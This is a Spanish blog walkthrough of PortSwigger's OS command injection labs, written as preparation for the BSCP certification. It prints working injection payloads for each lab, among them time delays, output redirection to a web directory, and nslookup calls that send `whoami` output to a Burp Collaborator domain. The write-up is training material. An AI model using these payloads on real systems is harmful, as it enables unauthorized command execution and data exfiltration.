¡Hola a todos! Aquí estamos de nuevo y esta vez seguimos preparando la certificación Burp Suite Certified Professional (BSCP), que proporciona una base muy buena de cara a auditorías web y gestión de la presión, sobre todo en el examen para el cual te proporcionan 4 horas y hay que explotar hasta 6 vulnerabilidades. Además, se trata de un examen muy barato (<100€) lo que la hace sumamente atractiva.

Antes de nada, recordad que PortSwigger nos permite probar 30 días su versión profesional de Burp Suite. Os recomendamos que activéis esta versión para poder probar todas las funcionalidades de la herramienta.

En esta entrada explicaremos y solucionaremos todos los laboratorios relativos a OS Command Injection. Hay muchos walkthroughs sobre cómo resolver estos laboratorios, pero exponerlos aquí nos sirve para afianzar conceptos y enseñaros además algunos trucos de uso de Burp Suite Professional, así como comentar veces que hemos visto las vulnerabilidades estudiadas en los laboratorios en la vida real. Sin más dilación, ¡comenzamos!

Como nota inicial, hay que decir que estas vulnerabilidades son raras de ver en sistemas en producción reales, al menos en mi experiencia personal. Suele ser raro necesitar ejecutar comandos de sistema con entradas de usuario, si bien en algunos casos nos lo hemos encontrado. Por ello, no te pierdas este post e intenta evaluar si haces uso de funciones similares en el código fuente si eres desarrollador.

Lab1 (Apprentice) – OS command injection, simple case

Lo primero de todo, lanzamos el laboratorio y configuramos en la pestaña «Scope» para que solamente se capturen peticiones a dicha web, ya que es la que tenemos bajo alcance. Esto es muy recomendable siempre en auditorías reales, pues se eliminará todo el ruido del navegador y nos centraremos solo en lo realmente importante: el alcance de la auditoría.

En segundo lugar, tomemos como referencia el objetivo que nos proponen: «To solve the lab, execute the whoami command to determine the name of the current user.». En este laboratorio, lo que tenemos que hacer es identificar una vulnerabilidad de OS Command Injection y ejecutar el comando «whoami».

Lo primero de todo que tenemos que tener en cuenta cuando intentamos buscar vulnerabilidades de OS Command Injection es que esta vulnerabilidad aparece cuando se hacen llamadas a sistema. En ocasiones, es fácil determinar cuándo un argumento o input se está pasando para una ejecución de comando (por ejemplo, si se pide una IP para lanzar un ping, ese parámetro es un buen candidato). No obstante, en otros casos, nuestros input se pasarán a la ejecución del sistema de maneras imprevisibles a priori. Por ello, herramientas como Burp Suite Professional y su escáner automático son muy útiles. En este laboratorio, lanzando un escaneo automático vemos cómo la vulnerabilidad aparece de manera muy rápida:

Ahora que ya sabemos dónde encontrar la vulnerabilidad, capturaremos la petición de checkear el stock de un producto y la enviamos a Repeater. Para probar la vulnerabilidad, además, incluiremos un payload simple que intente imprimir un mensaje en la respuesta:

& echo randommessage & => Debemos codificarlo
%26+echo+randommessage%26 => Payload codificado

Toda vez que la vulnerabilidad está confirmada y que se pueden ejecutar comandos de sistema arbitrarios, basta con cambiar el payload para resolver el laboratorio ejecutando un «whoami» tal como nos indican:

%26+whoami%26

Lab2 (Practicioner) – Blind OS command injection with time delays

Lo primero de todo, lanzamos el laboratorio y configuramos en la pestaña «Scope» para que solamente se capturen peticiones a dicha web, ya que es la que tenemos bajo alcance. Esto es muy recomendable siempre en auditorías reales, pues se eliminará todo el ruido del navegador y nos centraremos solo en lo realmente importante: el alcance de la auditoría.

En segundo lugar, tomemos como referencia el objetivo que nos proponen: «To solve the lab, exploit the blind OS command injection vulnerability to cause a 10 second delay.». En este laboratorio, lo que tenemos que hacer es identificar una vulnerabilidad de OS Command Injection y ejecutar un comando que retrase 10 segundos la respuesta.

En este caso, no lanzaremos el escáner, aunque sería una alternativa perfectamente viable para detectar la vulnerabilidad. Sin embargo, lo que podemos observar es una funcionalidad de envío de mails. Estas funcionalidades, en ocasiones, hacen llamadas a comandos de sistema como «mail», incluyendo los parámetros indicados en el formulario como parte del comando del sistema a ejecutar. Por tanto, si logramos inyectar en estos parámetros comandos de sistema arbitrarios estos se ejecutarán. El único inconveniente es que, como vemos en la siguiente figura, al explotarlo no tenemos output disponible.

Vemos un error al enviar la petición inyectada, pero todavía no podemos confirmar la inyección de comandos. Esta situación es muy común en auditorías, o incluso encontrarnos con que no vemos ni siquiera el error. No obstante, algo que recomendamos siempre hacer es variar los payloads y no quedarnos con testing básico. Por ello, vamos a probar el siguiente payload que, como vemos, lanzara 10 pings a localhost:

 & ping -c 10 127.0.0.1 & => Payload sin codificar (espacio al inicio)
+%26+ping+-c+10+127.0.0.1+%26 => Payload codificado

Y… Enviando este payload codificado vemos que la respuesta tarda en llegar bastante tiempo, confirmando así la ejecución del ping y por tanto de comandos. De paso… ¡¡Habremos resuelto el laboratorio si logramos retrasarla 10 segundos (si no, aumenta el número de pings)!!

Lab3 (Practicioner) – Blind OS command injection with output redirection

Lo primero de todo, lanzamos el laboratorio y configuramos en la pestaña «Scope» para que solamente se capturen peticiones a dicha web, ya que es la que tenemos bajo alcance. Esto es muy recomendable siempre en auditorías reales, pues se eliminará todo el ruido del navegador y nos centraremos solo en lo realmente importante: el alcance de la auditoría.

En segundo lugar, tomemos como referencia el objetivo que nos proponen: «To solve the lab, execute the whoami command and retrieve the output.». En este laboratorio, lo que tenemos que hacer es identificar una vulnerabilidad de OS Command Injection y ejecutar el comando «whoami», leyendo la respuesta.

La vulnerabilidad en este laboratorio la encontramos en el mismo lugar que en el laboratorio anterior. De hecho el payload que estábamos utilizando retrasa la respuesta unos 10 segundos, tal como sucedía en el laboratorio anterior.

Pero, lo que nos pide el laboratorio es ejecutar un comando «whoami» y obtener el output. ¿Cómo hacemos esto si la respuesta no contiene reflejado nada relativo a la inyección de comandos? El propio laboratorio nos indica que un directorio válido de la aplicación es «/var/www/images», en el que además podemos escribir. Por tanto, podemos redirigir la salida de ejecutar el comando «whoami» a un archivo en dicho directorio. Posteriormente, ese archivo estará accesible a través de la web, ya que se encuentra publicado por lo que podemos leerlo resolviendo el laboratorio.

 & whoami>/var/www/images/whoami.txt & => Payload sin codificar (espacio al inicio)
+%26+whoami>/var/www/images/whoami.txt+%26 => Payload codificado

Como vemos, pudimos ejecutar comandos de sistema y obtener la salida de los mismos a través de archivos. Esto no es lo más «opsec» del mundo, dado que dejamos trazas en el servidor accesibles por cualquiera. Además, debemos conocer una ruta «writable» y que esté expuesta en el servidor web. No obstante, estas rutas no suelen ser fáciles de adivinar o incluso de obtener forzando errores en las aplicaciones en producción reales (por eso es tan importante no divulgar información de más…).

Lab4 (Practicioner) – Blind OS command injection with out-of-band interaction

Lo primero de todo, lanzamos el laboratorio y configuramos en la pestaña «Scope» para que solamente se capturen peticiones a dicha web, ya que es la que tenemos bajo alcance. Esto es muy recomendable siempre en auditorías reales, pues se eliminará todo el ruido del navegador y nos centraremos solo en lo realmente importante: el alcance de la auditoría.

En segundo lugar, tomemos como referencia el objetivo que nos proponen: «To solve the lab, exploit the blind OS command injection vulnerability to issue a DNS lookup to Burp Collaborator.». En este laboratorio, lo que tenemos que hacer es identificar una vulnerabilidad de OS Command Injection y lanzar una consulta fuera de banda (OAST).

De nuevo, la vulnerabilidad está en la funcionalidad de enviar correos. En este caso, no podemos obtener respuesta de la aplicación y, aunque vemos que podemos retrasar las respuestas, tampoco podemos redireccionar el output a un directorio conocido y que luego podamos leer. Sin embargo, sí que podemos generar interacción del sistema operativo donde reside la aplicación con otros sistemas controlados por nosotros como atacantes. El siguiente payload, como se ve, realiza una petición DNS para resolver un dominio controlado por el atacante (en este caso, de Burp Collaborator):

 & nslookup 3vzwltj8r1nxdj33dvkdq9fsfjla9fx4.oastify.com & => Payload original (espacio al inicio)
+%26+nslookup+3vzwltj8r1nxdj33dvkdq9fsfjla9fx4.oastify.com+%26 => Payload codificado

Como podemos ver en las siguientes imágenes, al enviar estas peticiones se genera una consulta out-of-band en nuestro Burp Collaborator, por lo que confirmamos la vulnerabilidad y además resolvemos el laboratorio.

Lab5 (Practicioner) – Blind OS command injection with out-of-band data exfiltration

Lo primero de todo, lanzamos el laboratorio y configuramos en la pestaña «Scope» para que solamente se capturen peticiones a dicha web, ya que es la que tenemos bajo alcance. Esto es muy recomendable siempre en auditorías reales, pues se eliminará todo el ruido del navegador y nos centraremos solo en lo realmente importante: el alcance de la auditoría.

En segundo lugar, tomemos como referencia el objetivo que nos proponen: «To solve the lab, execute the whoami command and exfiltrate the output via a DNS query to Burp Collaborator. You will need to enter the name of the current user to complete the lab.». En este laboratorio, lo que tenemos que hacer es identificar una vulnerabilidad de OS Command Injection y lanzar una consulta fuera de banda (OAST), pero exfiltrando el usuario bajo el que corre el comando lanzado.

De nuevo, la vulnerabilidad está en la funcionalidad de enviar correos. Dado que podemos generar interacción del sistema operativo donde reside la aplicación con otros sistemas controlados por nosotros como atacantes, podemos adaptar el payload anterior para incluir información obtenida del sistema. El siguiente payload, como se ve, realiza una petición DNS para resolver un dominio controlado por el atacante (en este caso, de Burp Collaborator), pero incluye como subdominio el output del comando «whoami» (fíjate en el uso de «), que se ejecutará a la vez que el comando inyectado:

 & nslookup `whoami`.8v41lyjdr6n2do38d0kiqefxfolf960up.oastify.com & => Payload original (espacio al inicio)
+%26+nslookup+`whoami`.8v41lyjdr6n2do38d0kiqefxfolf960up.oastify.com+%26 => Payload codificado

Como vemos, es sencillo obtener el usuario. Para resolver el laboratorio, recuerda que debes ir al mismo e indicarlo como solución. ¡¡Laboratorio listo!!

~km0xu95